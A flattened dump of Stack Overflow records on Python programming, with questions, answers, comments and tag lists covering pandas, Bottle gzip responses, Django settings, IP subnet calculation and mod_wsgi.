has body: I am trying to save a dataframe as CSV and get a "too many indices for array" error. The code used for the save is- df.to_csv('CCS_Matrix.csv') The dataframe looks like this Var10 Var100 Var101 0 0 1 1 1 0 0 1 2 0 1 0 There are 250 columns and about 10 million rows in the dataset. The dtypes for the dataframe are Var10 int64 Var100 int64 Var101 int64 etc. All the dtypes are the same for the 250 columns. Here is the full output of the error message --------------------------------------------------------------------------- IndexError Traceback (most recent call last) &lt;ipython-input-16-37cbe55e6c0d&gt; in &lt;module&gt;() ----&gt; 1 df.to_csv('CCS_Matrix.csv', encoding='utf-8') ~/anaconda3/lib/python3.6/site-packages/pandas/core/frame.py in to_csv(self, path_or_buf, sep, na_rep, float_format, columns, header, index, index_label, mode, encoding, compression, quoting, quotechar, line_terminator, chunksize, tupleize_cols, date_format, doublequote, escapechar, decimal) 1401 doublequote=doublequote, 1402 escapechar=escapechar, decimal=decimal) -&gt; 1403 formatter.save() 1404 1405 if path_or_buf is None: ~/anaconda3/lib/python3.6/site-packages/pandas/io/formats/format.py in save(self) 1590 self.writer = csv.writer(f, **writer_kwargs) 1591 -&gt; 1592 self._save() 1593 1594 finally: ~/anaconda3/lib/python3.6/site-packages/pandas/io/formats/format.py in _save(self) 1691 break 1692 -&gt; 1693 self._save_chunk(start_i, end_i) 1694 1695 def _save_chunk(self, start_i, end_i): ~/anaconda3/lib/python3.6/site-packages/pandas/io/formats/format.py in _save_chunk(self, start_i, end_i) 1705 decimal=self.decimal, 1706 date_format=self.date_format, -&gt; 1707 quoting=self.quoting) 1708 1709 for col_loc, col in zip(b.mgr_locs, d): ~/anaconda3/lib/python3.6/site-packages/pandas/core/internals.py in to_native_types(self, slicer, na_rep, quoting, **kwargs) 611 values = self.values 612 if slicer is not None: --&gt; 613 values = values[:, slicer] 614 mask = isnull(values) 615 ~/anaconda3/lib…
has comment: http://stackoverflow.com/comment/81639434
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
has answer: http://stackoverflow.com/a/48432115
answer count: 2
tagged with: pandas
score: 1
has comment: http://stackoverflow.com/comment/81638898
downvote count: 0
upvote count: 1
has answer: http://stackoverflow.com/a/48465374

http://stackoverflow.com/q/47240972
score: 0
has answer: http://stackoverflow.com/a/47250056
has body: I have a HTTP/JSON Restful server implemented in Python thanks to the Bottle Web framework. I want to Gzip the data sent to the client. #!/usr/bin/env python # -*- coding: utf-8 -*- # # curl -H "Content-Type: application/json" -X POST -d '{"key1": 1, "key2": 2}' http://localhost:6789/post # from bottle import run, request, post, route, response from zlib import compress import json data = {'my': 'json'} @post('/post') def api_post(): global data data = json.loads(request.body.read()) return(data) @route('/get') def api_get(): global data response.headers['Content-Encoding'] = 'identity' return(json.dumps(data).encode('utf-8')) @route('/getgzip') def api_get_gzip(): global data if 'gzip' in request.headers.get('Accept-Encoding', ''): response.headers['Content-Encoding'] = 'gzip' ret = compress(json.dumps(data).encode('utf-8')) else: response.headers['Content-Encoding'] = 'identity' ret = json.dumps(data).encode('utf-8') return(ret) run(host='localhost', port=6789, debug=True) When i test my server with Curl, the result is good (if i use the --compressed option tag): $ curl -H "Accept-encoding: gzip, deflated" -v --compressed http://localhost:6789/getgzip * Trying 127.0.0.1... * Connected to localhost (127.0.0.1) port 6789 (#0) &gt; GET /getgzip HTTP/1.1 &gt; Host: localhost:6789 &gt; User-Agent: curl/7.47.0 &gt; Accept: */* &gt; Accept-encoding: gzip, deflated &gt; * HTTP 1.0, assume close after body &lt; HTTP/1.0 200 OK &lt; Date: Sun, 12 Nov 2017 09:09:09 GMT &lt; Server: WSGIServer/0.1 Python/2.7.12 &lt; Content-Length: 22 &lt; Content-Encoding: gzip &lt; Content-Type: text/html; charset=UTF-8 &lt; * Closing connection 0 {"my": "json"} But not with HTTPie (or Firefox, or Chrome...): $ http http://localhost:6789/getgzipHTTP/1.0 200 OK Content-Encoding: gzip Content-Length: 22 Content-Type: text/html; charset=UTF-8 Date: Sun, 12 Nov 2017 09:10:10 GMT Server: WSGIServer/0.1 Python/2.7.12 http: error: ContentDecodingError: ('Received response with content-encoding: gz…
answer count: 2
tagged with: zlib
tagged with: encoding
type: UnansweredQuestion
tagged with: http
type: Question
has title: Httpie can not decode my Bottle API Gzipped respond
tagged with: python
tagged with: bottle
has answer: http://stackoverflow.com/a/47247482

http://stackoverflow.com/q/47316777
answer count: 2
score: 7
has comment: http://stackoverflow.com/comment/81585958
has answer: http://stackoverflow.com/a/47318117
downvote count: 1
possible better answer: http://stackoverflow.com/a/47318117
favorite count: 0
type: Question
duplicate of: http://stackoverflow.com/q/7278779
has comment: http://stackoverflow.com/comment/81587918
has body: i'm trying to calculate broadcast address by logic OR and NOT with specified ip and mask, but the func return me smth strange. Why? IP = '192.168.32.16' MASK = '255.255.0.0' def get_ID(ip, mask): ip = ip.split('.') mask = mask.split('.') ip = [int(bin(int(octet)), 2) for octet in ip] mask = [int(bin(int(octet)), 2) for octet in mask] subnet = [str(int(bin(ioctet &amp; moctet), 2)) for ioctet, moctet in zip(ip, mask)] host = [str(int(bin(ioctet &amp; ~moctet), 2)) for ioctet, moctet in zip(ip, mask)] broadcast = [str(int(bin(ioctet | ~moctet), 2)) for ioctet, moctet in zip(ip, mask)] # a mistake, i guess print('Subnet: {0}'.format('.'.join(subnet))) print('Host: {0}'.format('.'.join(host))) print('Broadcast address: {0}'.format('.'.join(broadcast)))
upvote count: 8
linked to: http://stackoverflow.com/q/7278779
tagged with: python
tagged with: ip-address
has answer: http://stackoverflow.com/a/47317854
has title: Calculate broadcast by IP and mask
tagged with: broadcast
accepted answer: http://stackoverflow.com/a/47317854
type: AnsweredQuestion

pyqt
type: Tag
tags question: http://stackoverflow.com/q/47252632
tags question: http://stackoverflow.com/q/47342158
tags question: http://stackoverflow.com/q/47233214
tags question: http://stackoverflow.com/q/47278199
tags question: http://stackoverflow.com/q/47273250
tags question: http://stackoverflow.com/q/47307561
tags question: http://stackoverflow.com/q/47317530
tags question: http://stackoverflow.com/q/47289884
tags question: http://stackoverflow.com/q/47256606
tags question: http://stackoverflow.com/q/47266908
tags question: http://stackoverflow.com/q/47259825
tags question: http://stackoverflow.com/q/47350436
tags question: http://stackoverflow.com/q/47348245
tags question: http://stackoverflow.com/q/47376517
tags question: http://stackoverflow.com/q/47360939
tags question: http://stackoverflow.com/q/47345776
tags question: http://stackoverflow.com/q/47237801
tags question: http://stackoverflow.com/q/47241943
tags question: http://stackoverflow.com/q/47339044
tags question: http://stackoverflow.com/q/47348598
tags question: http://stackoverflow.com/q/47250025
tags question: http://stackoverflow.com/q/47351854
tags question: http://stackoverflow.com/q/47379036
tags question: http://stackoverflow.com/q/47326745
tags question: http://stackoverflow.com/q/47286839
tags question: http://stackoverflow.com/q/47291754
tags question: http://stackoverflow.com/q/47274240
tags question: http://stackoverflow.com/q/47234591
tag name: pyqt
tags question: http://stackoverflow.com/q/47267195
tags question: http://stackoverflow.com/q/47380658
tags question: http://stackoverflow.com/q/47243359
tags question: http://stackoverflow.com/q/47357578
tags question: http://stackoverflow.com/q/47344947
tags question: http://stackoverflow.com/q/47281542
tags question: http://stackoverflow.com/q/47309792
tags question: http://stackoverflow.com/q/47336766
tags question: http://stackoverflow.com/q/47363762
tags question: http://stackoverflow.com/q/47381962
tags question: http://stackoverflow.com/q/47359847
tags question: http://stackoverflow.com/q/47382617
tags question: http://stackoverflow.com/q/47239214

http://stackoverflow.com/comment/81419689
comment on: http://stackoverflow.com/q/47234525
score: 0
has text: Try to add a .prepare() in request object: request = requests.Request( 'POST', 'https://poloniex.com/tradingApi', params=payload, headers=headers).prepare()
type: Comment
type: QuestionComment

ubuntu-server
tags question: http://stackoverflow.com/q/47256115
type: Tag
tag name: ubuntu-server

http://stackoverflow.com/comment/81403690
comment on: http://stackoverflow.com/a/47226414
type: Comment
type: AnswerComment
has text: @BenKester, nothing actually. My codes gives exactly this figure you just linked. Could you show me what does it looks like in your computer?
score: 0

http://stackoverflow.com/a/47238516
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47238410
accepted answer of: http://stackoverflow.com/q/47238410
has body: This has nothing to do with generators. You test 2 different things, and tested the wrong thing in both tests. Your two tests test something different: def test_next_count_called_in_direct_call(self): # Passes # ... self.mock_counter.assert_called_with() This tests if the class was called. It is indeed called, as Counter(). Remember that mock_counter mocked the class, not an instance. def test_next_count_called_in_iter_event(self): # Fails # ... self.mock_counter.next_count.assert_called_with() This tests if an attribute Counter.next_count was called. This was never called, because it is instead called on the instance. The correct test is to see if that attribute on an instance is called: self.mock_counter.return_value.next_count.assert_called_with() or self.mock_counter().next_count.assert_called_with() Use this is both tests. Because mock_counter is the class, it could perhaps be better named MockCounter. In future, print out the mock_calls attribute of your mock; it'll show what was called instead. For both tests this prints: [call(), call().next_count()]
score: 1
type: Answer
type: AcceptedAnswer

http://stackoverflow.com/q/47275981
has comment: http://stackoverflow.com/comment/81522133
answer count: 1
has comment: http://stackoverflow.com/comment/81542118
tagged with: django
has title: DisallowedHost error using PythonAnywhere
has comment: http://stackoverflow.com/comment/81529646
linked to: http://stackoverflow.com/q/22416027
linked to: http://stackoverflow.com/q/40582423
type: Question
has answer: http://stackoverflow.com/a/63541887
type: UnansweredQuestion
has body: I'm new to Python and Django, and I'm following this tutorial to learn some Django basics. I keep getting a DisallowedHost error. (Screenshot: https://ibb.co/c1beYG) As per this post, I added 'chocoberrie.pythonanywhere.com' to the ALLOWED_HOSTS list in settings.py, and I made sure to include it in quotation marks and keep the brackets. I even added it to requests.py, at line 113 (indicated in the error message). Additional screenshots: https://ibb.co/jwUNnb and https://ibb.co/fbmrfw I also committed the changes to Git, and I double-checked the repository to make sure that the URL was added to ALLOWED_HOSTS. I also made sure to reupload the changes on PythonAnywhere. After all that, I'm still getting the error! It's really frustrating, and I don't know what else to do. Any help would be much appreciated! Note: I did see a way to "disable" this error in this post, but I'm using a newer version of Django, so I don't know how to apply this.
has comment: http://stackoverflow.com/comment/81519476
tagged with: python
score: 0
tagged with: django-settings

http://stackoverflow.com/a/47357760
upvote count: 5
score: 5
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/81673522
has comment: http://stackoverflow.com/comment/81693326
has comment: http://stackoverflow.com/comment/139283554
has comment: http://stackoverflow.com/comment/81673735
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47325204
has body: I've provided an example of how you can achieve your desired date formatting in a .xlsx output using pandas. It would also require adding the datetime module. As @jmcnamara mentioned, I think the best and most flexible solution would be to use xlsxwriter directly. Here's a link to another SO answer that provides further background on the excel "serial date" format and getting it from a datetime object in python. This is essentially the same as what I did to convert the column to an excel date. I've also added an additional format (called "centre_date_format_wb"). Here's the full code with my additions/changes: import pandas import datetime df = pandas.DataFrame( { "ints": [1, 2, 3] , 'primes': [2, 3, 5] , 'odds': [1, 3, 5] , 'fechas': ['2017-04-07', '2017-05-09', '2017-11-30'] } ) df['fechas'] = pandas.to_datetime(df['fechas']).dt.date excel_start_date = datetime.date(1899, 12, 30) df['fechas'] = df['fechas'] - excel_start_date df.fechas = df.fechas.dt.days print(df) xlsx_writer = pandas.ExcelWriter( 'test.xlsx' , engine='xlsxwriter' ) df.to_excel(xlsx_writer, sheet_name='Sheet1', index=False) wb = xlsx_writer.book ws = xlsx_writer.sheets['Sheet1'] dollar_format = '_($* #,##0.00" "_);_($* (#,##0.0);_($* "-"??_);_(@_)' dollar_format_wb = wb.add_format({'num_format': dollar_format, 'valign': 'vcenter'}) centre_format_wb = wb.add_format({'align': 'center', 'valign': 'vcenter'}) #additional format added below centre_date_format_wb = wb.add_format({'align': 'center', 'valign': 'vcenter', 'num_format' : 'mm/dd/yyyy' }) ws.set_column('A:A', 25, centre_date_format_wb) ws.set_column('B:B', 20, centre_format_wb) ws.set_column('C:C', 15, centre_format_wb) ws.set_column('D:D', 10, dollar_format_wb) # The code below was included to generate the screenshot, but isn't # strictly necessary for the MWE shadedrow_format_wb = wb.add_format( { 'bg_color': '#EEEEEE' , 'left': 1 , 'left_color': '#FFFFFF' } ) for r in range(0, 2 + df.shape[0]): ws.set_row(r + 1, 45) print(r) if r % 2 == 0…
answers question: http://stackoverflow.com/q/47325204

http://stackoverflow.com/comment/81483943
comment on: http://stackoverflow.com/q/47260277
type: Comment
type: QuestionComment
score: 0
has text: Thanks. I saw that question 2 days ago but I didn't understand too much apart of what you are literally explaining. Can this be applied to my question ? Also, I was looking for a solution using @api55 hint. I have a .box file generated by the code above (or the print(boxes) output). I discovered that the first and last values are the X and Y coordinates. I still don't know what the two in the middle means...

http://stackoverflow.com/a/47327751
has comment: http://stackoverflow.com/comment/81644192
upvote count: 3
has comment: http://stackoverflow.com/comment/81627302
answers question: http://stackoverflow.com/q/47326201
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/81627248
has comment: http://stackoverflow.com/comment/81608271
has comment: http://stackoverflow.com/comment/81639796
has comment: http://stackoverflow.com/comment/81641430
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81687302
has comment: http://stackoverflow.com/comment/81640332
has comment: http://stackoverflow.com/comment/81640346
accepted answer of: http://stackoverflow.com/q/47326201
has comment: http://stackoverflow.com/comment/81612966
has body: If you have updated your Apache installation in some way, usually the mod_wsgi.so binary from an older release should still work as Apache maintains ABI compatibility across patch level updates. If it isn't working, then you may need to re-build mod_wsgi. If there is no newer version of mod_wsgi, you will need to force a full re-build to ensure cached binaries from pip cache are not used. pip install --upgrade --no-cache-dir mod_wsgi Next problem though is if you have upgraded to Xcode 9.1, Apple have further broken things by completely removing apxs, meaning that my prior workaround for Apple brokeness no longer works. In this case you need to ensure you are installing mod_wsgi 4.5.21 or later. That version only just got released with fixes to accomodate for Xcode 9.1 So try that pip command above and make sure mod_wsgi-express still works by running: mod_wsgi-express start-server Then validate configuration snippet to use in Apache config by running again: mod_wsgi-express module-config If still issues with main Apache, then ensure you do a complete stop of Apache and then a start, and not just restart. Let me know how that all goes. UPDATE 1 Above presumes you were using Apple supplied Apache in respect of Xcode 9.1 comments. You seem to be using your own Apache, maybe form Homebrew. Still try the same thing.
score: 3

http://stackoverflow.com/a/47268954
type: Answer
has body: Given dicts = [{'a':1}, {'b':2}, {'c':3, 'd':4}] Do {k:v for d in dicts for (k, v) in d.items()} or from itertools import chain dict(chain(*map(dict.items, dicts))) resulting in {'a': 1, 'b': 2, 'c': 3, 'd': 4}
answers question: http://stackoverflow.com/q/47267978
score: 0

http://stackoverflow.com/comment/81673168
has text: The wheel file might be corrupt or incomplete. Try `pip install --upgrade --force-reinstall spacy`
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47359905
type: Comment

http://stackoverflow.com/comment/81674416
has text: Thanks for your answer, I know shelve, it is really nice. The thing is that for really large objects such as numerous arrays with millions and millions of entries (we are talking about >30 gb in size), it tends to be quite slow and wont save memory. The main thing I'm trying to achieve is leveraging the structure of the data (thus lots of repetitive elements, to compress the data (think of sparse data types or standard compression approaches like Burrows-Wheeler transform followed by a compression algorithm).
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47356731
score: 0

http://stackoverflow.com/q/47320592
tagged with: python
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47320642
has answer: http://stackoverflow.com/a/47320642
score: 0
answer count: 1
tagged with: django
type: Question
has title: Django update fields base on the current fields values
has body: Given the schema: stats { id: integer total: integer total_accepted: integer total_rejecged: integer } I need to update the record at one go like this: UPDATE stats SET total = total + 1, total_accepted = total_accepted + 1 WHERE id=1 So how to achieve it in Django without using a raw sql?
tagged with: django-models

http://stackoverflow.com/comment/81698958
type: QuestionComment
has text: long-running loop in every GUI framework makes problem because it stops its mainloop (event loop) and it looks like it hang up. So main problem is how to run it and not stop mainloop. If you will run it in second thread then you can use `while first_time_pressed == False: pass` to stop loop, and Button in main thread would change `first_time_pressed = True`, `second_time_pressed = True`, etc. But this `while` loop will use too much CPU power.
score: 0
comment on: http://stackoverflow.com/q/47373108
type: Comment

http://stackoverflow.com/q/47357338
has comment: http://stackoverflow.com/comment/81667326
score: 0
tagged with: pandas
answer count: 0
has comment: http://stackoverflow.com/comment/81667678
has body: Im trying to create a pandas dataframe from a dictionary and I keep getting the error: NoneType' object has no attribute 'keys' and have no clue how to solve this. Below is my code and some test data for testing. Im sure its something stupid im missing. Code: import pandas as pd import numpy as np def grab_next_entry(food_file): record={'id':-1,'helpfulness':'','number rated':'','score':'','review':''} line=food_file.readline() #food_dataframe=pd.DataFrame(columns=column_names) while line: if 'product/productId' in line: split_product_id=line.split(':') record['id']=split_product_id[1] if 'review/helpfulness' in line: split_helpfulness=line.split(':') split_helpfulness=split_helpfulness[1].split('/') record['helpfulness']=eval(split_helpfulness[0]) record['number rated']=eval(split_helpfulness[-1]) if 'review/score' in line: split_score = line.split(':') record['score']=eval(split_score[1]) if 'review/text' in line: split_review_text=line.split('review/text:') record['review']=split_review_text[1:] if line=='\n': return record line=food_file.readline() End of first section of code Calling code: import os fileLoc = "/Users/brawdyll/Documents/ds710fall2017assignment11/finefoods_test.txt" column_names=('Product ID', 'People who voted Helpful','Total votes','Rating','Review') food_dataframe=[] data=[] with open(fileLoc,encoding = "ISO 8859-1") as food_file: fs=os.fstat(food_file.fileno()).st_size num_read = 0 while not food_file.tell()==fs: data.append(grab_next_entry(food_file)) num_read+=1 food_dataframe=pd.DataFrame(data) print(food_dataframe) Test Input product/productId: B001E4KFG0 review/userId: A3SGXH7AUHU8GW review/profileName: delmartian review/helpfulness: 1/1 review/score: 5.0 review/time: 1303862400 review/summary: Good Quality Dog Food review/text: I have bought several of the Vitality canned dog food products and have found them all to be of good quality. The product looks more like a stew than a processed meat and it smells better. My Labrador is finicky …
has title: NoneType' object has no attribute 'keys' error when creating pandas dataframe from Dict
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81667323
tagged with: dataframe
tagged with: python
tagged with: dictionary

opencv
tags question: http://stackoverflow.com/q/47291717
tags question: http://stackoverflow.com/q/47360398
tags question: http://stackoverflow.com/q/47256514
tags question: http://stackoverflow.com/q/47359469
tags question: http://stackoverflow.com/q/47313712
tags question: http://stackoverflow.com/q/47351422
tags question: http://stackoverflow.com/q/47360625
type: Tag
tags question: http://stackoverflow.com/q/47250320
tags question: http://stackoverflow.com/q/47340700
tags question: http://stackoverflow.com/q/47346166
tags question: http://stackoverflow.com/q/47324258
tags question: http://stackoverflow.com/q/47237098
tags question: http://stackoverflow.com/q/47244667
tags question: http://stackoverflow.com/q/47333578
tags question: http://stackoverflow.com/q/47225215
tags question: http://stackoverflow.com/q/47359856
tags question: http://stackoverflow.com/q/47272306
tags question: http://stackoverflow.com/q/47371851
tags question: http://stackoverflow.com/q/47259229
tags question: http://stackoverflow.com/q/47270694
tags question: http://stackoverflow.com/q/47251937
tags question: http://stackoverflow.com/q/47364081
tags question: http://stackoverflow.com/q/47293004
tags question: http://stackoverflow.com/q/47359620
tags question: http://stackoverflow.com/q/47327641
tags question: http://stackoverflow.com/q/47257299
tags question: http://stackoverflow.com/q/47327389
tags question: http://stackoverflow.com/q/47237797
tags question: http://stackoverflow.com/q/47326499
tags question: http://stackoverflow.com/q/47369407
tags question: http://stackoverflow.com/q/47291987
tags question: http://stackoverflow.com/q/47346882
tags question: http://stackoverflow.com/q/47342738
tags question: http://stackoverflow.com/q/47271410
tags question: http://stackoverflow.com/q/47274856
tags question: http://stackoverflow.com/q/47250472
tags question: http://stackoverflow.com/q/47378808
tags question: http://stackoverflow.com/q/47234364
tags question: http://stackoverflow.com/q/47223694
tags question: http://stackoverflow.com/q/47377775
tags question: http://stackoverflow.com/q/47242330
tags question: http://stackoverflow.com/q/47354130
tags question: http://stackoverflow.com/q/47261378
tags question: http://stackoverflow.com/q/47256397
tags question: http://stackoverflow.com/q/47317700
tags question: http://stackoverflow.com/q/47273372
tags question: http://stackoverflow.com/q/47283385
tags question: http://stackoverflow.com/q/47332282
tags question: http://stackoverflow.com/q/47233966
tags question: http://stackoverflow.com/q/47369579
tags question: http://stackoverflow.com/q/47317547
tags question: http://stackoverflow.com/q/47329013
tags question: http://stackoverflow.com/q/47324870
tags question: http://stackoverflow.com/q/47277208
tags question: http://stackoverflow.com/q/47288141
tags question: http://stackoverflow.com/q/47281946
tags question: http://stackoverflow.com/q/47230496
tags question: http://stackoverflow.com/q/47277332
tags question: http://stackoverflow.com/q/47329154
tags question: http://stackoverflow.com/q/47265118
tags question: http://stackoverflow.com/q/47298946
tags question: http://stackoverflow.com/q/47377032
tags question: http://stackoverflow.com/q/47267881
tags question: http://stackoverflow.com/q/47380516
tags question: http://stackoverflow.com/q/47368311
tags question: http://stackoverflow.com/q/47253198
tags question: http://stackoverflow.com/q/47326719
tags question: http://stackoverflow.com/q/47252582
tags question: http://stackoverflow.com/q/47228608
tags question: http://stackoverflow.com/q/47349833
tags question: http://stackoverflow.com/q/47230690
tags question: http://stackoverflow.com/q/47370224
tags question: http://stackoverflow.com/q/47254294
tags question: http://stackoverflow.com/q/47359439
tags question: http://stackoverflow.com/q/47260277
tags question: http://stackoverflow.com/q/47234590
tags question: http://stackoverflow.com/q/47244826
tags question: http://stackoverflow.com/q/47314694
tag name: opencv

python
tags question: http://stackoverflow.com/q/47264278
tags question: http://stackoverflow.com/q/47241623
tags question: http://stackoverflow.com/q/47346635
tags question: http://stackoverflow.com/q/47294651
tags question: http://stackoverflow.com/q/47318438
tags question: http://stackoverflow.com/q/47276369
tags question: http://stackoverflow.com/q/47286678
tags question: http://stackoverflow.com/q/47239874
tags question: http://stackoverflow.com/q/47312040
tags question: http://stackoverflow.com/q/47259825
tags question: http://stackoverflow.com/q/47238946
tags question: http://stackoverflow.com/q/47378808
tags question: http://stackoverflow.com/q/47254679
tags question: http://stackoverflow.com/q/47258354
tags question: http://stackoverflow.com/q/47237662
tags question: http://stackoverflow.com/q/47269105
tags question: http://stackoverflow.com/q/47280228
tags question: http://stackoverflow.com/q/47316478
tags question: http://stackoverflow.com/q/47300215
tags question: http://stackoverflow.com/q/47369873
tags question: http://stackoverflow.com/q/47327549
tags question: http://stackoverflow.com/q/47299339
tags question: http://stackoverflow.com/q/47227778
tags question: http://stackoverflow.com/q/47292603
tags question: http://stackoverflow.com/q/47243635
tags question: http://stackoverflow.com/q/47359671
tags question: http://stackoverflow.com/q/47247646
tags question: http://stackoverflow.com/q/47242512
tags question: http://stackoverflow.com/q/47288293
tags question: http://stackoverflow.com/q/47248612
tags question: http://stackoverflow.com/q/47316427
tags question: http://stackoverflow.com/q/47320846
tags question: http://stackoverflow.com/q/47298058
tags question: http://stackoverflow.com/q/47271265
tags question: http://stackoverflow.com/q/47358215
tags question: http://stackoverflow.com/q/47253394
tags question: http://stackoverflow.com/q/47330735
tags question: http://stackoverflow.com/q/47362180
tags question: http://stackoverflow.com/q/47350067
tags question: http://stackoverflow.com/q/47269630
tags question: http://stackoverflow.com/q/47264288
tags question: http://stackoverflow.com/q/47319526
tags question: http://stackoverflow.com/q/47279167
tags question: http://stackoverflow.com/q/47345303
tags question: http://stackoverflow.com/q/47260999
tags question: http://stackoverflow.com/q/47278349
tags question: http://stackoverflow.com/q/47284421
tags question: http://stackoverflow.com/q/47366712
tags question: http://stackoverflow.com/q/47263262
tags question: http://stackoverflow.com/q/47240349
tags question: http://stackoverflow.com/q/47372038
tags question: http://stackoverflow.com/q/47380613
tags question: http://stackoverflow.com/q/47295241
tags question: http://stackoverflow.com/q/47282550
tags question: http://stackoverflow.com/q/47365093
tags question: http://stackoverflow.com/q/47355979
tags question: http://stackoverflow.com/q/47234972
tags question: http://stackoverflow.com/q/47270371
tags question: http://stackoverflow.com/q/47329994
tags question: http://stackoverflow.com/q/47363813
tags question: http://stackoverflow.com/q/47244944
tags question: http://stackoverflow.com/q/47335641
tags question: http://stackoverflow.com/q/47232012
tags question: http://stackoverflow.com/q/47302343
tags question: http://stackoverflow.com/q/47320551
tags question: http://stackoverflow.com/q/47278529
tags question: http://stackoverflow.com/q/47341688
tags question: http://stackoverflow.com/q/47286349
tags question: http://stackoverflow.com/q/47250613
tags question: http://stackoverflow.com/q/47265105
tags question: http://stackoverflow.com/q/47295748
tags question: http://stackoverflow.com/q/47235825
tags question: http://stackoverflow.com/q/47298661
tags question: http://stackoverflow.com/q/47341899
tags question: http://stackoverflow.com/q/47317999
tags question: http://stackoverflow.com/q/47244494
tags question: http://stackoverflow.com/q/47226343
tags question: http://stackoverflow.com/q/47320316
tags question: http://stackoverflow.com/q/47377522
tags question: http://stackoverflow.com/q/47274866

http://stackoverflow.com/comment/81565314
type: AnswerComment
has text: can you help https://stackoverflow.com/questions/47305897/matching-rows-between-dataframes-in-pandas-in-python/47307029#47307029
comment on: http://stackoverflow.com/a/47307520
type: Comment
score: 0

http://stackoverflow.com/comment/81638400
score: 0
type: Comment
has text: Again, true, but ugly. I certainly wouldn't let that past code review in the company I work at :P
type: AnswerComment
comment on: http://stackoverflow.com/a/47343055

http://stackoverflow.com/comment/81549997
has text: P.S. I find it useful to draw the gaussians inverted. Then the delay becomes simply the vertical offset rather than (1 - offset).
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47299249
score: 0

http://stackoverflow.com/comment/81512750
has text: You might run into a `MemoryError`.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47281170
type: AnswerComment

http://stackoverflow.com/q/47377049
has title: Pandas Python new column dataframe
answer count: 1
type: Question
accepted answer: http://stackoverflow.com/a/47377159
tagged with: dataframe
tagged with: python
has answer: http://stackoverflow.com/a/47377159
has body: I have problems with initializing a new column in a dataframe, called df I want to do: df['new_column'] = 0 to have all values to zero.. But then is gives me: A value is trying to be set on a copy of a slice from a DataFrame. Try using .loc[row_indexer,col_indexer] = value instead .. so, when I then want to work on it it **** up... I looked up on the net but didn't really find something useful.. I am a beginner in pandas so sorry if the answer is obvious but I really don't know how to do this basic thing.. Thanks!
type: AnsweredQuestion
score: 0

http://stackoverflow.com/comment/81589578
comment on: http://stackoverflow.com/a/47319082
has text: Very nice. +10. In this particular case, the code wasn't subject to SQL Injection... but it did follow the same pattern we see in code that *is* vulnerable to SQL Injection. It's much better to do it the right way, with prepared statement and bind placeholder. It's much easier for the reader to see (right there where the SQL text is constructed) that it's not a pattern vulnerable to SQL Injection. And it's not hard to do. Exploits of a Mom **https://xkcd.com/327/** and OWASP SQL Injection **https://www.owasp.org/index.php/SQL_Injection**
type: AnswerComment
score: 1
type: Comment

http://stackoverflow.com/comment/81602236
comment on: http://stackoverflow.com/a/47311326
score: 0
type: AnswerComment
has text: Thank you! Solved my problem, exactly what I needed
type: Comment

http://stackoverflow.com/comment/81542326
has text: Nope, it seems that the unit tests are sandboxed in a similar way to deployed apps so that even the unit tests can't write to disk. One solution might be to separate unit tests that need GAE functionality from those that don't.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47292520
type: Comment

http://stackoverflow.com/comment/81703077
type: QuestionComment
has text: dictionaries solves my purpose in this case
score: 0
comment on: http://stackoverflow.com/q/47375324
type: Comment

http://stackoverflow.com/a/47377083
has body: Convert a to string, then access the digit at index i of the string, convert the digit to int, then cube it: total = 0 for i in range(0, len(str(a))): total += int(str(a)[i])**3 You could also try this: for i in str(a): total += int(i) ** 3 Rewriting the function: def addCubes(a): total = 0 for i in str(a): total += int(i) ** 3 if total == a: print("feck yah") else: print("NEIN!!!") addCubes(371) feck yah &gt;&gt;&gt;
accepted answer of: http://stackoverflow.com/q/47376967
upvote count: 3
score: 3
downvote count: 0
answers question: http://stackoverflow.com/q/47376967
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/q/47244761
score: 1
favorite count: 0
has title: Intance cannot access to its class attribute in the definition
type: Question
has comment: http://stackoverflow.com/comment/81440037
accepted answer: http://stackoverflow.com/a/47244810
has comment: http://stackoverflow.com/comment/81440131
downvote count: 0
has answer: http://stackoverflow.com/a/47244810
upvote count: 1
answer count: 1
type: AnsweredQuestion
has body: I define a class Task class Task: format_str ='%Y-%m-%d %H:%M:%S.%f' def __init__(self, name, start, end): self.name = name self.start = datetime.strptime(start,format_str) self.end = datetime.strptime(end,format_str) @property def consumed(self): return self.end - self.start Pass arguments and create an instance: task1 = Task(name='1.learn class', start = '2017-11-11 19:10:46.327740', end = '2017-11-11 20:00:18.604630') When running,I get a NameError. NameError: name 'format_str' is not defined I learn that Class attributes are attributes which are owned by the class itself. They will be shared by all the instances of the class. Python3 Tutorial: Class vs. Instance Attributes format_str ='%Y-%m-%d %H:%M:%S.%f is a surely a class attribute.It should be accessed by all its instances. What's problem with my code?
tagged with: python

record
type: Tag
tags question: http://stackoverflow.com/q/47244942
tag name: record

http://stackoverflow.com/q/47264156
favorite count: 0
type: Question
tagged with: django
tagged with: javascript
tagged with: python
has title: Get value of RangeType input field in Django forms?
answer count: 0
score: 2
upvote count: 2
type: UnansweredQuestion
downvote count: 0
tagged with: jquery
has body: In my django form I wanted a slider type field. So I used NumberInput widget, code below. from django.forms.widgets import NumberInput class RangeInput(NumberInput): input_type = 'range' class MyForm(ModelForm): .... class Meta: model = Application fields = ['amount', 'reason'] widgets = { 'amount' : RangeInput(attrs={'max': 100000, 'min':10000, 'step':5000}), } Above helped me to get a slider in my form. Pic below. Slider is fine but I want to current value of the slider also to be shown. One way is to manually do using Javascript. Does Django gives a more automatic solution for this? Without showing the value of the slider to the user, the slider is virtually useless.

http://stackoverflow.com/a/47369471
downvote count: 0
upvote count: 1
score: 1
type: Answer
